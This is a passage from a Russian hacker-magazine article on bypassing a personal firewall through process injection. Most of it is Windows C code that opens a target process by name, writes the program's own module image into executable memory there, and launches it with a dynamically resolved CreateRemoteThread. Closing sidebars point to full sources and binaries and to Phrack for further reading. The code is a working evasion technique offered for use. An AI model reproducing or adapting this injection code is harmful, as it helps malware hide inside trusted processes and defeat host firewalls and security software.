Клизма для файрвола Николай «GorluM» Андреев Хакер, номер #072, стр. 072-112-5 if ((p_id = G::GetPIDbyName(szProcess)) == NULL) return FALSE; HANDLE p_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, p_id); if (p_handle == NULL) return FALSE; VirtualFreeEx(p_handle, g_module, 0, MEM_RELEASE); DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))-> e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))-> SizeOfImage; char *pMem = (char *)VirtualAllocEx(p_handle, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pMem == NULL) return FALSE; DWORD dwOldProt, dwNumBytes, i; MEMORY_BASIC_INFORMATION mbi;
VirtualQueryEx(p_handle, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) { if (!(mbi.Protect & PAGE_GUARD)) { for (i = 0; i < mbi.RegionSize; i += 0x1000) { VirtualProtectEx(p_handle, pMem + i, 0x1000, PAGE_EXECUTE_READWRITE, &dwOldProt); WriteProcessMemory(p_handle, pMem + i, pMem + i, 0x1000, &dwNumBytes); } } pMem += mbi.RegionSize; VirtualQueryEx(p_handle, pMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION)); } DWORD dwRmtThdID; typedef HANDLE (WINAPI *_CreateRTtype)(HANDLE,LPSECURITY_ATTRIBUTES, SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD); _CreateRTtype _CreateRT = (_CreateRTtype) GetProcAddress( GetModuleHandle("kernel32.dll"),"CreateRemoteThread"); HANDLE hRmtThd = _CreateRT(p_handle, NULL, 0, func, (LPVOID)g_module, 0, &dwRmtThdID); if(hRmtThd == NULL) return FALSE; CloseHandle(p_handle); return TRUE; } CD На диске ты, как всегда, обнаружишь все сорцы и бинарники приведенной в статье программы. WWW Подробнее об обходе файрвола с помощью Process Injection читай в последнем номере www.phrack.org INFO Отлаживать инжектируемую функцию с помощью встроенного в Visual Studio отладчика не получится. Тут нужно использовать SoftIce. WWW Описания всех используемых в программе API-функций ты можешь найти у себя на диске с MSDN или на сайте msdn.microsoft.com. INFO Категорически советую тебе прочесть книгу Рихтера. Без нее системному программеру под win32 живется очень тухло. |